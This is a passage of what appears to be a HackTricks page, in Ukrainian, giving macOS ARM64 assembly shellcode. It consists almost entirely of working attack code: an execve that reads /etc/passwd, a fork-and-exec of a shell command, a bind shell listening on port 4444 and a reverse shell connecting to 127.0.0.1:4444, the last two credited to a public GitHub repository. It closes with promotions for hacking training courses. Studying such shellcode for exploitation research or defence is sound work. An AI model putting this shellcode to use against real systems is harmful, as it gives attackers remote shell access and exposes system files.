Мета — виконати execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
, тому другий аргумент (x1) — масив параметрів (що в пам'яті означає стек адрес).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Викликати команду через sh з fork'а, щоб головний процес не був завершений
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell з https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s у port 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
З https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell до 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.